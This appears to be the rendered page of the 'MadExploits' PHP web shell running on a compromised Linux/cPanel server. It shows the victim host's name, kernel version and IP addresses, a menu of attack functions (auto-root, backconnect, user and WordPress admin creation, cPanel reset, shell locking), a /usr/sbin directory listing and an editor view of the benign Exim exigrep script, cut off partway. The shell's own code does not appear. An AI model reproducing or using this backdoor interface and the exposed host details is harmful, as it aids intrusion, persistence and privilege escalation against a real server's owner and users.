Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.71.255.44
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
NetworkManager
3.59
MB
-rwxr-xr-x
accessdb
15.42
KB
-rwxr-xr-x
acpid
56.13
KB
-rwxr-xr-x
addgnupghome
3.01
KB
-rwxr-xr-x
addpart
15.34
KB
-rwxr-xr-x
adduser
138.02
KB
-rwxr-xr-x
agetty
56.9
KB
-rwxr-xr-x
alternatives
39.6
KB
-rwxr-xr-x
anacron
39.69
KB
-rwxr-xr-x
apachectl
4.52
KB
-rwxr-xr-x
applygnupgdefaults
2.17
KB
-rwxr-xr-x
arp
63.21
KB
-rwxr-xr-x
arpd
27.4
KB
-rwxr-xr-x
arping
27.42
KB
-rwxr-xr-x
arptables
231.4
KB
-rwxr-xr-x
arptables-nft
231.4
KB
-rwxr-xr-x
arptables-nft-restore
231.4
KB
-rwxr-xr-x
arptables-nft-save
231.4
KB
-rwxr-xr-x
arptables-restore
231.4
KB
-rwxr-xr-x
arptables-save
231.4
KB
-rwxr-xr-x
atd
31.91
KB
-rwxr-xr-x
atrun
70
B
-rwxr-xr-x
auditctl
51.77
KB
-rwxr-xr-x
auditd
137.26
KB
-rwxr-xr-x
augenrules
4.05
KB
-rwxr-xr-x
aureport
120.53
KB
-rwxr-xr-x
ausearch
120.47
KB
-rwxr-xr-x
autrace
19.37
KB
-rwxr-x---
avcstat
15.17
KB
-rwxr-xr-x
badblocks
35.35
KB
-rwxr-xr-x
blkdeactivate
15.97
KB
-r-xr-xr-x
blkdiscard
23.39
KB
-rwxr-xr-x
blkid
51.8
KB
-rwxr-xr-x
blkmapd
39.61
KB
-rwxr-xr-x
blkzone
35.65
KB
-rwxr-xr-x
blockdev
31.61
KB
-rwxr-xr-x
bridge
114.78
KB
-rwxr-xr-x
capsh
31.21
KB
-rwxr-xr-x
cfdisk
96.55
KB
-rwxr-xr-x
chcpu
31.63
KB
-rwxr-xr-x
chgpasswd
59.95
KB
-rwxr-xr-x
chkconfig
43.78
KB
-rwxr-xr-x
chpasswd
55.81
KB
-rwxr-xr-x
chronyd
361.62
KB
-rwxr-xr-x
chroot
39.73
KB
-rwxr-xr-x
clock
59.96
KB
-rwxr-xr-x
consoletype
15.3
KB
-rwxr-xr-x
convertquota
69.03
KB
-rwxr-xr-x
cracklib-check
15.7
KB
-rwxr-xr-x
cracklib-format
255
B
-rwxr-xr-x
cracklib-packer
15.7
KB
-rwxr-xr-x
cracklib-unpacker
15.69
KB
-rwxr-xr-x
create-cracklib-dict
994
B
-rwxr-xr-x
crond
76.34
KB
-rwxr-xr-x
csf
245.1
KB
-rwx------
ctrlaltdel
15.39
KB
-rwxr-xr-x
ctstat
23.71
KB
-rwxr-xr-x
dcb
86.59
KB
-rwxr-xr-x
ddns-confgen
27.45
KB
-rwxr-xr-x
debugfs
233.02
KB
-rwxr-xr-x
delpart
15.31
KB
-rwxr-xr-x
depmod
165.76
KB
-rwxr-xr-x
devlink
161.81
KB
-rwxr-xr-x
dmfilemapd
23.49
KB
-r-xr-xr-x
dmsetup
156.96
KB
-r-xr-xr-x
dmstats
156.96
KB
-r-xr-xr-x
dnssec-cds
47.87
KB
-rwxr-xr-x
dnssec-checkds
924
B
-rwxr-xr-x
dnssec-coverage
926
B
-rwxr-xr-x
dnssec-dsfromkey
39.63
KB
-rwxr-xr-x
dnssec-importkey
35.63
KB
-rwxr-xr-x
dnssec-keyfromlabel
39.62
KB
-rwxr-xr-x
dnssec-keygen
47.63
KB
-rwxr-xr-x
dnssec-keymgr
922
B
-rwxr-xr-x
dnssec-revoke
31.61
KB
-rwxr-xr-x
dnssec-settime
47.63
KB
-rwxr-xr-x
dnssec-signzone
96.08
KB
-rwxr-xr-x
dnssec-verify
31.63
KB
-rwxr-xr-x
dovecot
124.94
KB
-rwxr-xr-x
dovecot_cpshutdown
3.27
KB
-rwxr-xr-x
dumpe2fs
31.29
KB
-rwxr-xr-x
e2freefrag
15.19
KB
-rwxr-xr-x
e2fsck
356.03
KB
-rwxr-xr-x
e2image
43.41
KB
-rwxr-xr-x
e2label
104.46
KB
-rwxr-xr-x
e2mmpstatus
31.29
KB
-rwxr-xr-x
e2undo
23.16
KB
-rwxr-xr-x
e4crypt
31.3
KB
-rwxr-xr-x
e4defrag
31.25
KB
-rwxr-xr-x
ebtables
231.4
KB
-rwxr-xr-x
ebtables-nft
231.4
KB
-rwxr-xr-x
ebtables-nft-restore
231.4
KB
-rwxr-xr-x
ebtables-nft-save
231.4
KB
-rwxr-xr-x
ebtables-restore
231.4
KB
-rwxr-xr-x
ebtables-save
231.4
KB
-rwxr-xr-x
ebtables-translate
231.4
KB
-rwxr-xr-x
edquota
89.5
KB
-rwxr-xr-x
ether-wake
50.24
KB
-rwxr-xr-x
ethtool
612.05
KB
-rwxr-xr-x
exicyclog
11.1
KB
-rwxr-xr-x
exigrep
10.52
KB
-rwxr-xr-x
exim
1.51
MB
-rwsr-xr-x
exim_checkaccess
4.83
KB
-rwxr-xr-x
exim_dbmbuild
29.2
KB
-rwxr-xr-x
exim_dumpdb
30.48
KB
-rwxr-xr-x
exim_fixdb
39.05
KB
-rwxr-xr-x
exim_lock
29.46
KB
-rwxr-xr-x
exim_tidydb
30.51
KB
-rwxr-xr-x
eximstats
148.26
KB
-rwxr-xr-x
exinext
7.13
KB
-rwxr-xr-x
exiqgrep
5.66
KB
-rwxr-xr-x
exiqsumm
5.31
KB
-rwxr-xr-x
exiwhat
4.42
KB
-rwxr-xr-x
exportfs
68.66
KB
-rwxr-xr-x
faillock
23.36
KB
-rwxr-xr-x
fcgistarter
24.71
KB
-rwxr-xr-x
fdformat
23.38
KB
-rwxr-xr-x
fdisk
112.23
KB
-rwxr-xr-x
filefrag
19.22
KB
-rwxr-xr-x
findfs
15.35
KB
-rwxr-xr-x
firewalld
9.75
KB
-rwxr-xr-x
fix-info-dir
7.85
KB
-rwxr-xr-x
fixfiles
12.13
KB
-rwxr-xr-x
fsck
43.75
KB
-rwxr-xr-x
fsck.cramfs
31.57
KB
-rwxr-xr-x
fsck.ext2
356.03
KB
-rwxr-xr-x
fsck.ext3
356.03
KB
-rwxr-xr-x
fsck.ext4
356.03
KB
-rwxr-xr-x
fsck.minix
55.9
KB
-rwxr-xr-x
fsck.xfs
2.54
KB
-rwxr-xr-x
fsfreeze
15.34
KB
-rwxr-xr-x
fstrim
43.69
KB
-rwxr-xr-x
fuser
41.09
KB
-rwxr-xr-x
g13-syshelp
88.6
KB
-rwxr-xr-x
genhomedircon
32.16
KB
-rwxr-xr-x
genhostid
15.3
KB
-rwxr-xr-x
genl
124.11
KB
-rwxr-xr-x
getcap
15.13
KB
-rwxr-xr-x
getenforce
15.1
KB
-rwxr-xr-x
getpcaps
15.12
KB
-rwxr-xr-x
getpidprevcon
15.11
KB
-rwxr-xr-x
getpolicyload
15.11
KB
-rwxr-xr-x
getsebool
15.13
KB
-rwxr-xr-x
groupadd
68.93
KB
-rwxr-xr-x
groupdel
64.7
KB
-rwxr-xr-x
groupmems
55.95
KB
-rwxr-xr-x
groupmod
72.92
KB
-rwxr-xr-x
grpck
59.93
KB
-rwxr-xr-x
grpconv
51.73
KB
-rwxr-xr-x
grpunconv
51.7
KB
-rwxr-xr-x
grub2-bios-setup
1.33
MB
-rwxr-xr-x
grub2-get-kernel-settings
2.68
KB
-rwxr-xr-x
grub2-install
1.63
MB
-rwxr-xr-x
grub2-macbless
1.31
MB
-rwxr-xr-x
grub2-mkconfig
9.21
KB
-rwxr-xr-x
grub2-probe
1.33
MB
-rwxr-xr-x
grub2-reboot
4.7
KB
-rwxr-xr-x
grub2-set-bootflag
15.24
KB
-rwsr-xr-x
grub2-set-default
3.46
KB
-rwxr-xr-x
grub2-set-password
2.74
KB
-rwxr-xr-x
grub2-setpassword
2.74
KB
-rwxr-xr-x
grub2-switch-to-blscfg
8.81
KB
-rwxr-xr-x
grubby
260
B
-rwxr-xr-x
gssproxy
124.89
KB
-rwxr-xr-x
halt
298.59
KB
-rwxr-xr-x
htcacheclean
52.8
KB
-rwxr-xr-x
httpd
1.08
MB
-rwxr-xr-x
hwclock
59.96
KB
-rwxr-xr-x
iconvconfig
31.93
KB
-rwxr-xr-x
ifconfig
78.98
KB
-rwxr-xr-x
ifenslave
23.91
KB
-rwxr-xr-x
ifstat
39.72
KB
-rwxr-xr-x
imunify-notifier
9.86
MB
-rwxr-xr-x
init
95.93
KB
-rwxr-xr-x
insmod
165.76
KB
-rwxr-xr-x
install-info
106.7
KB
-rwxr-xr-x
installkernel
323
B
-rwxr-xr-x
intel_sdsi
22.43
KB
-rwxr-xr-x
ip
755.99
KB
-rwxr-xr-x
ip6tables
231.4
KB
-rwxr-xr-x
ip6tables-nft
231.4
KB
-rwxr-xr-x
ip6tables-nft-restore
231.4
KB
-rwxr-xr-x
ip6tables-nft-save
231.4
KB
-rwxr-xr-x
ip6tables-restore
231.4
KB
-rwxr-xr-x
ip6tables-restore-translate
231.4
KB
-rwxr-xr-x
ip6tables-save
231.4
KB
-rwxr-xr-x
ip6tables-translate
231.4
KB
-rwxr-xr-x
ipmaddr
19.45
KB
-rwxr-xr-x
ipset
15.09
KB
-rwxr-xr-x
ipset-translate
15.09
KB
-rwxr-xr-x
iptables
231.4
KB
-rwxr-xr-x
iptables-nft
231.4
KB
-rwxr-xr-x
iptables-nft-restore
231.4
KB
-rwxr-xr-x
iptables-nft-save
231.4
KB
-rwxr-xr-x
iptables-restore
231.4
KB
-rwxr-xr-x
iptables-restore-translate
231.4
KB
-rwxr-xr-x
iptables-save
231.4
KB
-rwxr-xr-x
iptables-translate
231.4
KB
-rwxr-xr-x
iptunnel
19.5
KB
-rwxr-xr-x
irqbalance
60.59
KB
-rwxr-xr-x
irqbalance-ui
39.79
KB
-rwxr-xr-x
kacpimon
19.26
KB
-rwxr-xr-x
kexec
188.76
KB
-rwxr-xr-x
key.dns_resolver
31.35
KB
-rwxr-xr-x
kpartx
47.72
KB
-rwxr-xr-x
lchage
23.37
KB
-rwxr-xr-x
ldattach
27.41
KB
-rwxr-xr-x
ldconfig
1.12
MB
-rwxr-xr-x
lfd
382.42
KB
-rwx------
lgroupadd
15.31
KB
-rwxr-xr-x
lgroupdel
15.31
KB
-rwxr-xr-x
lgroupmod
23.32
KB
-rwxr-xr-x
lid
19.33
KB
-rwxr-xr-x
lnewusers
23.31
KB
-rwxr-xr-x
lnstat
23.71
KB
-rwxr-xr-x
load_policy
15.24
KB
-rwxr-xr-x
logrotate
99.65
KB
-rwxr-xr-x
logsave
15.19
KB
-rwxr-xr-x
losetup
72.27
KB
-rwxr-xr-x
lpasswd
23.32
KB
-rwxr-xr-x
lshw
849.57
KB
-rwxr-xr-x
lsmod
165.76
KB
-rwxr-xr-x
luseradd
23.33
KB
-rwxr-xr-x
luserdel
15.31
KB
-rwxr-xr-x
lusermod
23.31
KB
-rwxr-xr-x
makedumpfile
428.03
KB
-rwxr-xr-x
mariadbd
24.56
MB
-rwxr-xr-x
matchpathcon
15.14
KB
-rwxr-xr-x
mii-diag
24.2
KB
-rwxr-xr-x
mii-tool
27.78
KB
-rwxr-xr-x
mkdict
255
B
-rwxr-xr-x
mkdumprd
12.17
KB
-rwxr-xr-x
mke2fs
132.53
KB
-rwxr-xr-x
mkfs
15.36
KB
-rwxr-xr-x
mkfs.cramfs
35.57
KB
-rwxr-xr-x
mkfs.ext2
132.53
KB
-rwxr-xr-x
mkfs.ext3
132.53
KB
-rwxr-xr-x
mkfs.ext4
132.53
KB
-rwxr-xr-x
mkfs.minix
43.75
KB
-rwxr-xr-x
mkfs.xfs
450.98
KB
-rwxr-xr-x
mkhomedir_helper
23.38
KB
-rwxr-xr-x
mklost+found
15.12
KB
-rwxr-xr-x
mksquashfs
197.62
KB
-rwxr-xr-x
mkswap
47.7
KB
-rwxr-xr-x
modinfo
165.76
KB
-rwxr-xr-x
modprobe
165.76
KB
-rwxr-xr-x
modsec-sdbm-util
33.56
KB
-rwxr-x---
mount.fuse
15.36
KB
-rwxr-xr-x
mount.nfs
98.45
KB
-rwsr-xr-x
mount.nfs4
98.45
KB
-rwsr-xr-x
mountstats
42.19
KB
-rwxr-xr-x
mysqld
24.56
MB
-rwxr-xr-x
named
545.2
KB
-rwxr-xr-x
named-checkconf
39.59
KB
-rwxr-xr-x
named-checkzone
39.55
KB
-rwxr-xr-x
named-compilezone
39.55
KB
-rwxr-xr-x
named-journalprint
15.34
KB
-rwxr-xr-x
named-nzd2nzf
15.3
KB
-rwxr-xr-x
nameif
15.58
KB
-rwxr-xr-x
newusers
88.86
KB
-rwxr-xr-x
nfsconf
40.05
KB
-rwxr-xr-x
nfsdcld
56.05
KB
-rwxr-xr-x
nfsdclddb
9.99
KB
-rwxr-xr-x
nfsdclnts
9.05
KB
-rwxr-xr-x
nfsdcltrack
40.11
KB
-rwxr-xr-x
nfsidmap
23.48
KB
-rwxr-xr-x
nfsiostat
24.41
KB
-rwxr-xr-x
nfsref
43.71
KB
-rwxr-xr-x
nfsstat
38.46
KB
-rwxr-xr-x
nft
27.38
KB
-rwxr-xr-x
nologin
15.36
KB
-rwxr-xr-x
nscd
163.36
KB
-rwxr-xr-x
nsec3hash
15.38
KB
-rwxr-xr-x
nstat
31.43
KB
-rwxr-xr-x
packer
15.7
KB
-rwxr-xr-x
pam_console_apply
43.69
KB
-rwxr-xr-x
pam_namespace_helper
471
B
-rwxr-xr-x
pam_timestamp_check
15.3
KB
-rwsr-xr-x
paperconfig
4.08
KB
-rwxr-xr-x
parted
97.31
KB
-rwxr-xr-x
partprobe
16.19
KB
-rwxr-xr-x
partx
59.96
KB
-rwxr-xr-x
pdns_server
5.89
MB
-rwxr-xr-x
pidof
23.33
KB
-rwxr-xr-x
ping
76.66
KB
-rwxr-xr-x
ping6
76.66
KB
-rwxr-xr-x
pivot_root
15.35
KB
-rwxr-xr-x
plipconfig
15.35
KB
-rwxr-xr-x
poweroff
298.59
KB
-rwxr-xr-x
pure-authd
22.85
KB
-rwxr-xr-x
pure-certd
22.76
KB
-rwxr-xr-x
pure-config.pl
4.64
KB
-rwxr-xr-x
pure-ftpd
176.96
KB
-rwxr-xr-x
pure-ftpwho
26.41
KB
-rwxr-xr-x
pure-mrtginfo
14.38
KB
-rwxr-xr-x
pure-quotacheck
22.4
KB
-rwxr-xr-x
pure-uploadscript
22.66
KB
-rwxr-xr-x
pwck
55.77
KB
-rwxr-xr-x
pwconv
47.62
KB
-rwxr-xr-x
pwhistory_helper
19.37
KB
-rwxr-xr-x
pwunconv
47.58
KB
-rwxr-xr-x
quotacheck
93.63
KB
-rwxr-xr-x
quotaoff
56.69
KB
-rwxr-xr-x
quotaon
56.69
KB
-rwxr-xr-x
quotastats
15.37
KB
-rwxr-xr-x
rdisc
31.54
KB
-rwxr-xr-x
rdma
105.01
KB
-rwxr-xr-x
readprofile
23.45
KB
-rwxr-xr-x
reboot
298.59
KB
-rwxr-xr-x
repquota
77.58
KB
-rwxr-xr-x
request-key
27.29
KB
-rwxr-xr-x
resize2fs
67.62
KB
-rwxr-xr-x
resizepart
23.59
KB
-rwxr-xr-x
restorecon
23.3
KB
-rwxr-xr-x
restorecon_xattr
15.25
KB
-rwxr-xr-x
rfkill
31.55
KB
-rwxr-xr-x
rmmod
165.76
KB
-rwxr-xr-x
rndc
43.45
KB
-rwxr-xr-x
rndc-confgen
23.45
KB
-rwxr-xr-x
rotatelogs
38.13
KB
-rwxr-xr-x
route
65.77
KB
-rwxr-xr-x
rpc.gssd
88.33
KB
-rwxr-xr-x
rpc.idmapd
47.94
KB
-rwxr-xr-x
rpc.mountd
132.68
KB
-rwxr-xr-x
rpc.nfsd
40.2
KB
-rwxr-xr-x
rpc.statd
80.98
KB
-rwxr-xr-x
rpcbind
59.89
KB
-rwxr-xr-x
rpcctl
9.42
KB
-rwxr-xr-x
rpcdebug
18.8
KB
-rwxr-xr-x
rpcinfo
35.58
KB
-rwxr-xr-x
rsyslogd
781.55
KB
-rwxr-xr-x
rtacct
25.43
KB
-rwxr-xr-x
rtcwake
35.45
KB
-rwxr-xr-x
rtkitctl
15.24
KB
-rwxr-xr-x
rtmon
124.03
KB
-rwxr-xr-x
rtstat
23.71
KB
-rwxr-xr-x
runlevel
298.59
KB
-rwxr-xr-x
runq
1.51
MB
-rwsr-xr-x
runuser
55.8
KB
-rwxr-xr-x
sasldblistusers2
15.27
KB
-rwxr-xr-x
saslpasswd2
15.24
KB
-rwxr-xr-x
sefcontext_compile
72.2
KB
-rwxr-xr-x
selabel_digest
15.14
KB
-rwxr-xr-x
selabel_get_digests_all_partia...
15.15
KB
-rwxr-xr-x
selabel_lookup
15.13
KB
-rwxr-xr-x
selabel_lookup_best_match
15.13
KB
-rwxr-xr-x
selabel_partial_match
15.13
KB
-rwxr-xr-x
selinux_check_access
15.14
KB
-rwxr-xr-x
selinuxconlist
15.13
KB
-rwxr-xr-x
selinuxdefcon
15.13
KB
-rwxr-xr-x
selinuxenabled
15.1
KB
-rwxr-xr-x
selinuxexeccon
15.12
KB
-rwxr-xr-x
semanage
40.64
KB
-rwxr-xr-x
semodule
32.16
KB
-rwxr-xr-x
sendmail
24.75
KB
-rwxr-sr-x
service
4.51
KB
-rwxr-xr-x
sestatus
23.25
KB
-rwxr-xr-x
setcap
15.13
KB
-rwxr-xr-x
setenforce
15.12
KB
-rwxr-xr-x
setfiles
23.3
KB
-rwxr-xr-x
setquota
81.6
KB
-rwxr-xr-x
setsebool
19.27
KB
-rwxr-xr-x
sfdisk
104.17
KB
-rwxr-xr-x
showmount
15.66
KB
-rwxr-xr-x
shutdown
298.59
KB
-rwxr-xr-x
slattach
37.57
KB
-rwxr-xr-x
sm-notify
51.95
KB
-rwxr-xr-x
smartctl
853.95
KB
-rwxr-xr-x
smartd
615.6
KB
-rwxr-xr-x
snmpd
35.41
KB
-rwxr-xr-x
snmptrapd
35.52
KB
-rwxr-xr-x
ss
127.35
KB
-rwxr-xr-x
sshd
946.23
KB
-rwxr-xr-x
sss_cache
35.42
KB
-rwxr-xr-x
sssd
71.8
KB
-rwxr-xr-x
start-statd
1
KB
-rwxr-xr-x
start-stop-daemon
48.83
KB
-rwxr-xr-x
suexec
37.6
KB
-rwsr-xr-x
sulogin
43.6
KB
-rwxr-xr-x
sw-engine-fpm
24.4
MB
-rwxr-xr-x
swaplabel
19.38
KB
-rwxr-xr-x
swapoff
23.45
KB
-rwxr-xr-x
swapon
43.51
KB
-rwxr-xr-x
switch_root
23.39
KB
-rwxr-xr-x
sysctl
31.49
KB
-rwxr-xr-x
tc
630.3
KB
-rwxr-xr-x
telinit
298.59
KB
-rwxr-xr-x
tipc
88.9
KB
-rwxr-xr-x
tmpwatch
36.03
KB
-rwxr-xr-x
tracepath
19.39
KB
-rwxr-xr-x
tracepath6
19.39
KB
-rwxr-xr-x
tsig-keygen
27.45
KB
-rwxr-xr-x
tune2fs
104.46
KB
-rwxr-xr-x
udevadm
583.98
KB
-rwxr-xr-x
umount.nfs
98.45
KB
-rwsr-xr-x
umount.nfs4
98.45
KB
-rwsr-xr-x
unix_chkpwd
23.45
KB
-rwsr-xr-x
unix_update
31.49
KB
-rwx------
unsquashfs
113.8
KB
-rwxr-xr-x
update-alternatives
39.6
KB
-rwxr-xr-x
update-smart-drivedb
23.33
KB
-rwxr-xr-x
useradd
138.02
KB
-rwxr-xr-x
userdel
89
KB
-rwxr-xr-x
usermod
129.84
KB
-rwxr-xr-x
validatetrans
15.12
KB
-rwxr-xr-x
vdpa
35.95
KB
-rwxr-xr-x
vigr
58.33
KB
-rwxr-xr-x
vipw
58.33
KB
-rwxr-xr-x
visudo
220.85
KB
-rwxr-xr-x
vmcore-dmesg
27.47
KB
-rwxr-xr-x
weak-modules
33.55
KB
-rwxr-xr-x
whmapi0
3.15
MB
-rwxr-xr-x
whmapi1
3.15
MB
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
wipefs
39.48
KB
-rwxr-xr-x
xfs_admin
2.13
KB
-rwxr-xr-x
xfs_bmap
699
B
-rwxr-xr-x
xfs_copy
92.82
KB
-rwxr-xr-x
xfs_db
708.3
KB
-rwxr-xr-x
xfs_estimate
15.36
KB
-rwxr-xr-x
xfs_freeze
804
B
-rwxr-xr-x
xfs_fsr
43.71
KB
-rwxr-xr-x
xfs_growfs
43.83
KB
-rwxr-xr-x
xfs_info
1.27
KB
-rwxr-xr-x
xfs_io
202.79
KB
-rwxr-xr-x
xfs_logprint
88.46
KB
-rwxr-xr-x
xfs_mdrestore
27.48
KB
-rwxr-xr-x
xfs_metadump
786
B
-rwxr-xr-x
xfs_mkfile
1.02
KB
-rwxr-xr-x
xfs_ncheck
689
B
-rwxr-xr-x
xfs_quota
92.29
KB
-rwxr-xr-x
xfs_repair
686.43
KB
-rwxr-xr-x
xfs_rtcp
19.34
KB
-rwxr-xr-x
xfs_spaceman
43.97
KB
-rwxr-xr-x
xqmstats
15.34
KB
-rwxr-xr-x
xtables-monitor
231.4
KB
-rwxr-xr-x
xtables-nft-multi
231.4
KB
-rwxr-xr-x
zic
59.81
KB
-rwxr-xr-x
zramctl
56.05
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exigrep
#! /usr/local/cpanel/3rdparty/perl/536/bin/perl # Copyright (c) The Exim Maintainers 2020 - 2023 # Copyright (c) 2007-2017 University of Cambridge. # See the file NOTICE for conditions of use and distribution. # SPDX-License-Identifier: GPL-2.0-or-later use warnings; use strict; BEGIN { pop @INC if $INC[-1] eq '.' }; use Pod::Usage; use Getopt::Long qw(:config no_ignore_case); use File::Basename; # Except when they appear in comments, the following placeholders in this # source are replaced when it is turned into a runnable script: # # PERL_COMMAND # ZCAT_COMMAND # COMPRESS_SUFFIX # This file has been so processed. # This is a perl script which extracts from an Exim log all entries # for all messages that have an entry that matches a given pattern. # If *any* entry for a particular message matches the pattern, *all* # entries for that message are displayed. # We buffer up information on a per-message basis. It is done this way rather # than reading the input twice so that the input can be a pipe. # There must be one argument, which is the pattern. Subsequent arguments # are the files to scan; if none, the standard input is read. If any file # appears to be compressed, it is passed through zcat. We can't just do this # for all files, because zcat chokes on non-compressed files. # Performance optimized in 02/02/2007 by Jori Hamalainen # Typical run time acceleration: 4 times use POSIX qw(mktime); # This subroutine converts a time/date string from an Exim log line into # the number of seconds since the epoch. It handles optional timezone # information. sub seconds { my($year,$month,$day,$hour,$min,$sec,$tzs,$tzh,$tzm) = $_[0] =~ /^(\d{4})-(\d\d)-(\d\d)\s(\d\d):(\d\d):(\d\d)(?:.\d+)?(?>\s([+-])(\d\d)(\d\d))?/o; my $seconds = mktime $sec, $min, $hour, $day, $month - 1, $year - 1900; if (defined $tzs) { $seconds -= $tzh * 3600 + $tzm * 60 if $tzs eq "+"; $seconds += $tzh * 3600 + $tzm * 60 if $tzs eq "-"; } return $seconds; } # This subroutine processes a single line (in $_) from a log file. Program # defensively against short lines finding their way into the log. my (%saved, %id_list, $pattern); my $queue_time = -1; my $insensitive = 1; my $invert = 0; my $related = 0; my $use_pager = 1; my $literal = 0; # If using "related" option, have to track extra message IDs my $related_re=''; my @Mids = (); sub do_line { # Convert syslog lines to mainlog format, as in eximstats. if (!/^\d{4}-/o) { $_ =~ s/^.*? exim\b.*?: //o; } return unless my($date,$id) = /^(\d{4}-\d\d-\d\d \d\d:\d\d:\d\d(?:\.\d+)? (?:[+-]\d{4} )?)(?:\[\d+\] )?(\w{6}\-\w{6}\-\w{2}|\w{6}-\w{11}-\w{4})?/o; # Handle the case when the log line belongs to a specific message. We save # lines for specific messages until the message is complete. Then either print # or discard. if (defined $id) { $saved{$id} = '' unless defined($saved{$id}); # Save up the data for this message in case it becomes interesting later. $saved{$id} .= $_; # Are we interested in this id ? Short circuit if we already were interested. if ($invert) { $id_list{$id} = 1 if (!defined($id_list{$id})); $id_list{$id} = 0 if (($insensitive && /$pattern/io) || /$pattern/o); } else { if (defined $id_list{$id} || ($insensitive && /$pattern/io) || /$pattern/o) { $id_list{$id} = 1; get_related_ids($id) if $related; } elsif ($related && $related_re) { grep_for_related($_, $id); } } # See if this is a completion for some message. If it is interesting, # print it, but in any event, throw away what was saved. if (index($_, 'Completed') != -1 || index($_, 'SMTP data timeout') != -1 || (index($_, 'rejected') != -1 && /^(\d{4}-\d\d-\d\d \d\d:\d\d:\d\d(?:\.\d+)? (?:[+-]\d{4} )?)(?:\[\d+\] )?(?:\w{6}\-\w{6}\-\w{2}|\w{6}-\w{11}-\w{4}) rejected/o)) { if ($queue_time != -1 && $saved{$id} =~ /^(\d{4}-\d\d-\d\d \d\d:\d\d:\d\d ([+-]\d{4} )?)/o) { my $old_sec = &seconds($1); my $sec = &seconds($date); $id_list{$id} = 0 if $id_list{$id} && $sec - $old_sec <= $queue_time; } print "$saved{$id}\n" if ($id_list{$id}); delete $id_list{$id}; delete $saved{$id}; } } # Handle the case where the log line does not belong to a specific message. # Print it if it is interesting. elsif ( ($invert && (($insensitive && !/$pattern/io) || !/$pattern/o)) || (!$invert && (($insensitive && /$pattern/io) || /$pattern/o)) ) { print "$_\n"; } } # Rotated log files are frequently compressed and there are a variety of # formats it could be compressed with. Rather than use just one that is # detected and hardcoded at Exim compile time, detect and use what the # logfile is compressed with on the fly. # # List of known compression extensions and their associated commands: my $compressors = { gz => { cmd => 'zcat', args => '' }, bz2 => { cmd => 'bzcat', args => '' }, xz => { cmd => 'xzcat', args => '' }, lzma => { cmd => 'lzma', args => '-dc' }, zst => { cmd => 'zstdcat', args => '' }, }; my $csearch = 0; sub detect_compressor_bin { my $ext = shift(); my $c = $compressors->{$ext}->{cmd}; $compressors->{$ext}->{bin} = `which $c 2>/dev/null`; chomp($compressors->{$ext}->{bin}); } sub detect_compressor_capable { my $filename = shift(); map { &detect_compressor_bin($_) } keys %$compressors if (!$csearch); $csearch = 1; return undef unless (grep {$filename =~ /\.(?:$_)$/} keys %$compressors); # Loop through them, figure out which one it detected, # and build the commandline. my $cmdline = undef; foreach my $ext (keys %$compressors) { if ($filename =~ /\.(?:$ext)$/) { # Just die if compressor not found; if this occurs in the middle of # two valid files with a lot of matches, error could easily be missed. die("Didn't find $ext decompressor for $filename\n") if ($compressors->{$ext}->{bin} eq ''); $cmdline = $compressors->{$ext}->{bin} ." ". $compressors->{$ext}->{args}; last; } } return $cmdline; } sub grep_for_related { my ($line,$id) = @_; $id_list{$id} = 1 if $line =~ m/$related_re/; } sub get_related_ids { my ($id) = @_; push @Mids, $id unless grep /\b$id\b/, @Mids; my $re = join '|', @Mids; $related_re = qr/$re/; } # The main program. Extract the pattern and make sure any relevant characters # are quoted if the -l flag is given. The -t flag gives a time-on-queue value # which is an additional condition. The -M flag will also display "related" # loglines (msgid from matched lines is searched in following lines). GetOptions( 'I|sensitive' => sub { $insensitive = 0 }, 'l|literal' => \$literal, 'M|related' => \$related, 't|queue-time=i' => \$queue_time, 'pager!' => \$use_pager, 'v|invert' => \$invert, 'h|help' => sub { pod2usage(-exit => 0, -verbose => 1) }, 'm|man' => sub { pod2usage( -exit => 0, -verbose => 2, -noperldoc => system('perldoc -V 2>/dev/null >&2') ); }, 'version' => sub { print basename($0) . ": $0\n", "build: 4.98\n", "perl(runtime): $]\n"; exit 0; }, ) and @ARGV or pod2usage; $pattern = shift @ARGV; $pattern = quotemeta $pattern if $literal; # Start a pager if output goes to a terminal if (-t 1 and $use_pager) { # for perl >= v5.10.x: foreach ($ENV{PAGER}//(), 'less', 'more') foreach (defined $ENV{PAGER} ? $ENV{PAGER} : (), 'less', 'more') { local $ENV{LESS} .= ' --no-init --quit-if-one-screen'; open(my $pager, '|-', $_) or next; select $pager; last; } } # If file arguments are given, open each one and process according as it is # is compressed or not. if (@ARGV) { foreach (@ARGV) { my $filename = $_; if (-x '/bin/zcat' && $filename =~ /\.(?:gz)$/o) { open(LOG, "/bin/zcat $filename |") || die "Unable to zcat $filename: $!\n"; } elsif (my $cmdline = &detect_compressor_capable($filename)) { open(LOG, "$cmdline $filename |") || die "Unable to decompress $filename: $!\n"; } else { open(LOG, "<$filename") || die "Unable to open $filename: $!\n"; } do_line() while (<LOG>); close(LOG); } } # If no files are named, process STDIN only else { do_line() while (<STDIN>); } # At the end of processing all the input, print any uncompleted messages. for (keys %id_list) { print "+++ $_ has not completed +++\n$saved{$_}\n"; } __END__ =head1 NAME exigrep - search Exim's main log =head1 SYNOPSIS B<exigrep> [options] pattern [log] ... =head1 DESCRIPTION The B<exigrep> utility is a Perl script that searches one or more main log files for entries that match a given pattern. When it finds a match, it extracts all the log entries for the relevant message, not just those that match the pattern. Thus, B<exigrep> can extract complete log entries for a given message, or all mail for a given user, or for a given host, for example. If no file names are given on the command line, the standard input is read. For known file extensions indicating compression (F<.gz>, F<.bz2>, F<.xz>, F<.lzma>, and F<.zst>) a suitable de-compressor is used, if available. The output is sent through a pager if a terminal is connected to STDOUT. As pager are considered: C<$ENV{PAGER}>, C<less>, C<more>. =head1 OPTIONS =over =item B<-l>|B<--literal> This means 'literal', that is, treat all characters in the pattern as standing for themselves. Otherwise the pattern must be a Perl regular expression. The pattern match is case-insensitive. =item B<-t>|B<--queue-time> I<seconds> Limit the output to messages that spent at least I<seconds> in the queue. =item 